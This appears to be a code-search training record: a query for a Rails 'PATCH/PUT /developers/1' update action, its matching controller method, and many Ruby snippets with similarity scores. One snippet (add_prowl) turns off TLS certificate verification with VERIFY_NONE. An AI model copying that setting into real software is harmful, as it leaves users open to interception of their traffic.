"def major_developments_with_http_info(symbol, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.major_developments ...'\n end\n # verify the required parameter 'symbol' is set\n if @api_client.config.client_side_validation && symbol.nil?\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling DefaultApi.major_developments\"\n end\n # resource path\n local_var_path = '/major-development'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'symbol'] = symbol\n query_params[:'from'] = opts[:'from'] if !opts[:'from'].nil?\n query_params[:'to'] = opts[:'to'] if !opts[:'to'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'MajorDevelopments' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#major_developments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def supporter_params\n params.require(:api_supporter).permit(:name, :email, :phone)\n end",
"def create\n @activity_development = ActivityDevelopment.new(activity_development_params)\n\n respond_to do |format|\n if @activity_development.save\n format.html { redirect_to @activity_development, notice: 'Activity development was successfully created.' }\n format.json { render :show, status: :created, location: @activity_development }\n else\n format.html { render :new }\n format.json { render json: @activity_development.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @engagement = current_user.engagements.new(engagement_params_with_school)\n if @engagement.save\n render :show, status: :created, location: api_v2_engagement_url(@engagement)\n else\n puts @engagement.errors.full_messages\n render json: @engagement.errors, status: :unprocessable_entity\n end\n end",
"def rest_params\n params.require(:rest).permit(:name, :address, :description, :owner, :phone)\n end",
"def show\n @developer = Developer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @developer }\n end\n end",
"def create\n @desk = Desk.new(desk_params)\n\n if @desk.save\n render json: @desk, status: :created, location: @desk\n else\n render json: @desk.errors, status: :unprocessable_entity\n end\n end",
"def signed_post_request url, body\n body_json= body.to_json\n token = jwt_post_signature url, body_json\n HTTParty.post('http://localhost:5000'+url,\n {headers:{\n \"Authorization\"=>\"JWT token=\\\"#{token}\\\"\",\n \"Content-Type\"=> \"application/json;charset=utf-8\",\n },\n body: body_json}\n )\n\n end",
"def create\n @software = current_user.software.new(software_params)\n set_software_token\n set_api_token\n respond_to do |format|\n if @software.save\n format.html { redirect_to root_path, notice: 'Software was successfully created.' }\n format.json { render :show, status: :created, location: @software }\n else\n format.html { render :new }\n format.json { render json: @software.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_prowl(options)\n uri = URI.parse(\"https://prowl.weks.net/publicapi/add\")\n https = Net::HTTP.new(uri.host, uri.port)\n # We have to use SSL\n https.use_ssl = true\n # Avoid to get warning\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Post.new(uri.path)\n # Default options for notifications\n options = {:apikey => $configure[:prowl][:apikey], :application => \"Twitter\", :priority => 0}.merge(options)\n req.set_form_data(options)\n https.request(req)\nend",
"def upsert_marketo_lead(params)\n # todo: verify required fields? perhaps get form fields and validation logic from marketo?\n # removing params included by rails\n params.delete :action\n params.delete :controller\n params.delete :marketo_form\n # parse incoming values to json\n body = {\n #\"action\"=>\"createOnly\",\n \"lookupField\"=>\"email\",\n \"input\"=>[params]\n }.to_json\n @body = body\n # set post uri\n uri = URI(Config.get_create_lead_url)\n # setup http request\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n uri.query = \"access_token=#{get_marketo_token}\"\n request = Net::HTTP::Post.new(uri, { 'Content-Type' => 'application/json' })\n request.body = @body\n # make http request\n response = http.request(request)\n return response.body\n end"
] |
[
"0.64782524",
"0.63745874",
"0.6285211",
"0.6276198",
"0.6270781",
"0.6187426",
"0.6166327",
"0.61359495",
"0.60987705",
"0.6067938",
"0.6051768",
"0.59969413",
"0.5917255",
"0.5886722",
"0.58434904",
"0.58331186",
"0.581091",
"0.5798161",
"0.57804304",
"0.577954",
"0.57769805",
"0.5761728",
"0.5751701",
"0.57503176",
"0.5723308",
"0.57155657",
"0.56840605",
"0.56314254",
"0.5586533",
"0.5572885",
"0.55652404",
"0.5556116",
"0.554056",
"0.5517793",
"0.5472635",
"0.5369338",
"0.5367949",
"0.5367949",
"0.5367949",
"0.5367949",
"0.5367949",
"0.5367949",
"0.53196067",
"0.53093356",
"0.5304588",
"0.52801365",
"0.5265448",
"0.52436024",
"0.5235707",
"0.52181286",
"0.5199089",
"0.5192762",
"0.5176183",
"0.51734334",
"0.5166038",
"0.51625973",
"0.5159266",
"0.51592004",
"0.5148971",
"0.5148971",
"0.5144905",
"0.5144905",
"0.51396596",
"0.51149684",
"0.51147854",
"0.51128006",
"0.50874084",
"0.5071781",
"0.5066693",
"0.50596327",
"0.50577724",
"0.50577724",
"0.5044003",
"0.5038749",
"0.5034532",
"0.5034471",
"0.50313246",
"0.5000764",
"0.49971884",
"0.49862474",
"0.49856523",
"0.49829423",
"0.49828655",
"0.49806157",
"0.49806157",
"0.49772623",
"0.49754694",
"0.4973874",
"0.49721467",
"0.49715632",
"0.49632126",
"0.49604777",
"0.49478006",
"0.4945695",
"0.49455485",
"0.49416643",
"0.49415693",
"0.49406436",
"0.49395448",
"0.49359787"
] |
0.59060115
|
13
|
PATCH/PUT /developers/1 PATCH/PUT /developers/1.json
|
def update
respond_to do |format|
if @developer.update(developer_params)
format.html { redirect_to @developer, notice: 'Developer was successfully updated.' }
format.json { render :show, status: :ok, location: @developer }
else
format.html { render :edit }
format.json { render json: @developer.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def patch!\n request! :patch\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end",
"def update\n respond_to do |format|\n if @developer.update(developer_params)\n format.html { redirect_to @developer, notice: 'Developer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @developer = Developer.find(params[:id])\n\n respond_to do |format|\n if @developer.update_attributes(params[:developer])\n format.html { redirect_to @developer, notice: 'Developer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def put!\n request! :put\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n respond_to do |format|\n if @major.update(major_params)\n format.html { redirect_to @major, notice: 'Major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n authorize! :update, Employee\n respond_to do |format|\n if @developer.update(developer_params)\n format.html { redirect_to developer_url(@developer), notice: 'Developer was successfully updated.' }\n format.json { render :show, status: :ok, location: @developer }\n else\n format.html { render :edit }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update\n respond_to do |format|\n if @rest_api.update(rest_api_params)\n format.html { redirect_to @rest_api, notice: 'Rest api was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rest_api.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n @request_for_change.set_manager(force: true)\n @request_for_change.set_security_officer(force: true)\n\n respond_to do |format|\n if @request_for_change.update(request_for_change_params)\n format.html { redirect_to edit_request_for_change_path(@request_for_change), notice: 'Request for change was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_for_change.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @developer.update(developer_params)\n format.html { redirect_to @developer, notice: \"Developer was successfully updated.\" }\n format.json { render :show, status: :ok, location: @developer }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project_developer = ProjectDeveloper.find(params[:id])\n\n respond_to do |format|\n if @project_developer.update_attributes(params[:project_developer])\n format.html { redirect_to @project_developer, notice: 'Project developer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project_developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @client = args[:client] if args.key?(:client)\n @list_update_requests = args[:list_update_requests] if args.key?(:list_update_requests)\n end",
"def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update!(**args)\n @api_signatures = args[:api_signatures] if args.key?(:api_signatures)\n @unique_apis = args[:unique_apis] if args.key?(:unique_apis)\n end",
"def update\n team_name = params[:name]\n team_description = params[:description]\n team_id = params[:id]\n\n respond_to do |format|\n if OkrTeam.where(id: team_id).update_all(name: team_name, description: team_description)\n format.json { render json: 'Team is updated successfully!', status: :ok }\n else\n format.json { render json: 'Error!', status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data, params = {}, request_options = {})\n request(:patch, path, data, params)\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @major = Major.find(params[:id])\n\n respond_to do |format|\n if @major.update_attributes(params[:major])\n format.html { redirect_to @major, notice: 'Major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @major.update(major_params)\n format.html { redirect_to @major, notice: 'Major was successfully updated.' }\n format.json { render :show, status: :ok, location: @major }\n else\n format.html { render :edit }\n format.json { render json: @major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def update \n user = User.find(params[:id])\n # byebug\n user.update(user_params)\n\n render json: user\n end",
"def update\n respond_to do |format|\n if @developer.update(developer_params)\n format.html { redirect_to @developer, notice: \"Застройщик #{@developer.name} успешно изменен.\" }\n format.json { render :show, status: :ok, location: @developer }\n else\n format.html { render :edit }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params)\n time(\"PATCH #{path}\") { Cloudflarer.new.patch(path, params) }\n end",
"def update\n if params[:developer][:project_id] != @developer.project_id\n @developer.story_id = nil\n @developer.save\n end\n respond_to do |format|\n if @developer.update(developer_params)\n format.html { redirect_to @developer, notice: 'Developer was successfully updated.' }\n format.json { render :show, status: :ok, location: @developer }\n else\n format.html { render :edit }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(data = :object || :json)\n end",
"def update!(**args)\n @json_schemas = args[:json_schemas] if args.key?(:json_schemas)\n @schema = args[:schema] if args.key?(:schema)\n end",
"def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end",
"def update\n respond_to do |format|\n if developerTeamParams\n developers_ids = @developers.pluck(:id)\n\n if params[:developer_ids]\n (developers_ids - params[:developer_ids]).each do |id|\n developer = Developer.find(id)\n if developer.team_id == @team.id \n developer.update(team: nil)\n end\n end\n (params[:developer_ids] - developers_ids).each do |id|\n developer = Developer.find(id)\n developer.update(team: @team)\n end\n end\n format.html {redirect_to @team, notice: 'developers was successfully updated.' }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end",
"def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end",
"def update\n respond_to do |format|\n if @developer.update(developer_params)\n \tif session[:position] == ['Developer']\n \tformat.html { redirect_to @developer, notice: \"Developer #{@developer.name} was successfully updated.\" }\n \tformat.json { render :show, status: :ok, location: @developer }\n end\n if session[:position] == ['Admin']\n \t# change developer's project, his assigned story need to delete\n \tif @developer.line_item.present?\n \t@developer.line_item.delete\n \t\t \tend\n \tformat.html { redirect_to developers_path, notice: \"Developer #{@developer.name} was successfully updated.\" }\n \tformat.json { render :show, status: :ok, location: @developer }\n end\n else\n format.html { render :edit }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(request)\n end",
"def update(request)\n end",
"def update\n @api = Api.find(params[:id])\n\n respond_to do |format|\n if @api.update_attributes(params[:api])\n format.html { redirect_to apis_url, notice: 'Api was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def update attrs\n put '', :body => {self.class.api_name => self.class.opts_to_query_opts(attrs)}\n end",
"def patch\n req.patch?\n end",
"def update\n @interesting = Interesting.find(params[:id])\n\n respond_to do |format|\n if @interesting.update_attributes(params[:interesting])\n format.html { redirect_to @interesting, notice: 'Interesting was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interesting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n @api_client = ApiClient.find(params[:id])\n\n respond_to do |format|\n if @api_client.update_attributes(params[:api_client])\n format.html { redirect_to @api_client, notice: 'Api client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @userspec.update(userspec_params)\n format.html { redirect_to root_path, notice: 'Userspec was successfully updated.' }\n format.json { render :show, status: :ok, location: @userspec }\n else\n format.html { render :edit }\n format.json { render json: @userspec.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(url, data, headers = {})\n request(:patch, url, headers, :data => data)\n end",
"def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def update(options = {})\n @client.put(self.link(:edit), self.to_json, options)\n end",
"def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @kind = args[:kind] if args.key?(:kind)\n @metadata = args[:metadata] if args.key?(:metadata)\n @spec = args[:spec] if args.key?(:spec)\n end",
"def patch(path, **args); end",
"def patch(resource, id, params)\n Api.new.patch(resource, id, params)\n end",
"def update\n respond_to do |format|\n if @api_v1_resource.update(api_v1_resource_params)\n format.html { redirect_to @api_v1_resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_resource }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @documentation.update(documentation_params)\n format.html { redirect_to @documentation, notice: 'Documentation was successfully updated.' }\n format.json { render :show, status: :ok, location: @documentation }\n else\n format.html { render :edit }\n format.json { render json: @documentation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @automatic_resources = args[:automatic_resources] if args.key?(:automatic_resources)\n @create_time = args[:create_time] if args.key?(:create_time)\n @dedicated_resources = args[:dedicated_resources] if args.key?(:dedicated_resources)\n @disable_explanations = args[:disable_explanations] if args.key?(:disable_explanations)\n @display_name = args[:display_name] if args.key?(:display_name)\n @enable_access_logging = args[:enable_access_logging] if args.key?(:enable_access_logging)\n @enable_container_logging = args[:enable_container_logging] if args.key?(:enable_container_logging)\n @explanation_spec = args[:explanation_spec] if args.key?(:explanation_spec)\n @id = args[:id] if args.key?(:id)\n @model = args[:model] if args.key?(:model)\n @model_version_id = args[:model_version_id] if args.key?(:model_version_id)\n @private_endpoints = args[:private_endpoints] if args.key?(:private_endpoints)\n @service_account = args[:service_account] if args.key?(:service_account)\n @shared_resources = args[:shared_resources] if args.key?(:shared_resources)\n end",
"def test_update_successful\n data = {\n firstname: \"Anh\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"anh@gmallds.sl\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n @person = Person.find(params[:id]) \n respond_to do |format|\n if @person.update(person_params)\n format.json { render json: @person, status: :ok }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n request_body_Data= '{ \"widget\":\n {\n \"name\" : \"'+params[:name]+'\",\n \"description\" : \"'+params[:description]+'\"\n }}'\n response = RestClient::Request.new({\n method: :put,\n url: ENV['API_URL'] + '/widgets/' + params[:id],\n payload: request_body_Data,\n headers: { Authorization: session[:access_token], content_type: 'application/json'}\n }).execute do |response, request, result|\n case response.code\n when 400\n [ :error, JSON.parse(response) ]\n when 200\n [ :success, JSON.parse(response) ]\n json=JSON.parse(response)\n @widget= Widget.new do |widget|\n widget.id=json[\"data\"][\"widget\"][\"id\"]\n widget.name=json[\"data\"][\"widget\"][\"name\"]\n widget.description=json[\"data\"][\"widget\"][\"description\"]\n widget.kind=json[\"data\"][\"widget\"][\"kind\"]\n widget.userid=json[\"data\"][\"widget\"][\"user\"][\"id\"]\n widget.username=json[\"data\"][\"widget\"][\"user\"][\"name\"]\n widget.owner=json[\"data\"][\"widget\"][\"owner\"]\n end\n else\n fail \"Invalid response #{response.to_str} received.\"\n end\n end\n respond_to do |format|\n if @widget\n format.html { redirect_to @widget, notice: 'Widget was successfully updated.' }\n format.json { render :show, status: :ok, location: @widget }\n else\n format.html { render :edit }\n format.json { render json: @widget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end",
"def update\n @api = Api.find(params[:id])\n\n respond_to do |format|\n if @api.update_attributes(params[:api])\n format.html { redirect_to(@api, :notice => 'Api was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @api.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def contact_updated(freshdesk_data,contact_id)\n\t\t#Rails.logger.info \"Update method id and data\"\n\t\t#Rails.logger.debug \"#{@api_domain}-#{contact_id}-#{@api_key}\"\n\t\t#Rails.logger.debug \"#{freshdesk_data.to_json}\"\n\t response = HTTParty.put(\n\t \"#{@api_domain}contacts/#{contact_id}\", \n\t\t basic_auth: { username: @api_key, password: \"password\" },\n\t\t headers: { 'Content-Type' => 'application/json' },\n\t\t body: freshdesk_data.to_json\n\t )\n\tend",
"def update\n# respond_to do |format|\n# if @req.update(req_params)\n format.json { render :json => {:status => 'success'}}\n# format.html { redirect_to @req, notice: 'Req was successfully updated.' }\n# format.json { render :show, status: :ok, location: @req }\n# else\n format.json { render :json => {:status => 'failed'}}\n# format.html { render :edit }\n# format.json { render json: @req.errors, status: :unprocessable_entity }\n# end\n# end\n end",
"def update\n @especy = Especie.find(params[:id])\n\n respond_to do |format|\n if @especy.update_attributes(params[:especy])\n format.html { redirect_to @especy, notice: 'Especie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @especy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @project_owner = args[:project_owner] if args.key?(:project_owner)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n end",
"def patch(path, opts = {})\n request(:patch, path, opts).body\n end",
"def update\n if :opr == 'edit'\n update\n else\n @team = Team.find_by_id(params[:id])\n @team.update_attributes({:id => params[:id], :name => params[:name], :status => params[:status]})\n\n if request.xhr?\n render :json => @team\n end\n end\n end",
"def update\n @specie = Specie.find(params[:id])\n\n respond_to do |format|\n if @specie.update_attributes(params[:specie])\n format.html { redirect_to @specie, notice: 'Specie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @specie.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(params = {})\n validate_id(params)\n submit(id_url(params.delete(:id)), :patch, params)\n end",
"def update(data, &block)\n request :patch, @data[:id], data, &block\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n @ms_developer = MsDeveloper.find(params[:id])\n\n respond_to do |format|\n if @ms_developer.update_attributes(params[:ms_developer])\n format.html { redirect_to @ms_developer, notice: 'Ms developer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ms_developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def update(name: nil)\n data = name.nil? ? {} : {name: name}\n cf_patch(path: \"/organizations/#{org_id}\", data: data)\n end",
"def UpdateTicket params = {}\n \n APICall(path: 'tickets.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update!(**args)\n @json_schema = args[:json_schema] if args.key?(:json_schema)\n @name = args[:name] if args.key?(:name)\n @struct_schema = args[:struct_schema] if args.key?(:struct_schema)\n end",
"def update!(**args)\n @json_schema = args[:json_schema] if args.key?(:json_schema)\n @name = args[:name] if args.key?(:name)\n @struct_schema = args[:struct_schema] if args.key?(:struct_schema)\n end",
"def patch; end",
"def patch; end",
"def update\n respond_to do |format|\n if @api.update(api_params)\n format.html { redirect_to @api, notice: 'Api actualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @api.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @developer.update(developer_params)\r\n if @isAdmin\r\n format.html { redirect_to admins_path, notice: 'Developer was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @developer }\r\n else\r\n format.html { redirect_to @developer, notice: 'Developer was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @developer }\r\n end\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @developer.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end"
] |
[
"0.6736037",
"0.6707327",
"0.6572162",
"0.647133",
"0.64539754",
"0.6399965",
"0.6283699",
"0.6283699",
"0.6269025",
"0.62065923",
"0.62028867",
"0.61770177",
"0.6161722",
"0.6145099",
"0.61281556",
"0.61122376",
"0.61122376",
"0.60858244",
"0.6064696",
"0.60309666",
"0.602524",
"0.602392",
"0.6000411",
"0.59911543",
"0.5987514",
"0.5987514",
"0.5960593",
"0.5959464",
"0.59563863",
"0.5951027",
"0.59436846",
"0.5935996",
"0.5930948",
"0.5919715",
"0.59170157",
"0.59125113",
"0.5911236",
"0.59067595",
"0.59057903",
"0.5905268",
"0.58993644",
"0.58952695",
"0.5858698",
"0.5842589",
"0.5840305",
"0.58356297",
"0.5826274",
"0.5825354",
"0.58211404",
"0.5815151",
"0.58093345",
"0.5804542",
"0.5804257",
"0.5803861",
"0.5796731",
"0.5796731",
"0.5795794",
"0.57942617",
"0.57911235",
"0.57843184",
"0.5766925",
"0.5765583",
"0.57641387",
"0.5758229",
"0.57458395",
"0.57426286",
"0.5736969",
"0.57301146",
"0.57271904",
"0.5726848",
"0.57208306",
"0.5713971",
"0.57093585",
"0.5705415",
"0.5700045",
"0.5697913",
"0.56963575",
"0.5689914",
"0.56876683",
"0.5683811",
"0.56819266",
"0.5681185",
"0.56753063",
"0.5674961",
"0.56743586",
"0.5672001",
"0.56690073",
"0.56680316",
"0.5667461",
"0.5665173",
"0.5660708",
"0.56446826",
"0.56439155",
"0.5643782",
"0.5643782",
"0.56429505",
"0.56429505",
"0.56368405",
"0.5633995"
] |
0.59859806
|
27
|
DELETE /developers/1 DELETE /developers/1.json
|
def destroy
@row_id = "developer_#{@developer.id}"
@developer.destroy
respond_to do |format|
format.js
format.html { redirect_to developers_url, notice: 'Developer was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @developer = Developer.find(params[:id])\n @developer.destroy\n\n respond_to do |format|\n format.html { redirect_to developers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dev = @app.developers.first.id\n @app.destroy\n respond_to do |format|\n format.html { redirect_to developer_path(@dev), notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @project_developer = ProjectDeveloper.find(params[:id])\n @project_developer.destroy\n\n respond_to do |format|\n format.html { redirect_to project_developers_url }\n format.json { head :no_content }\n end\n end",
"def delete\n api(\"Delete\")\n end",
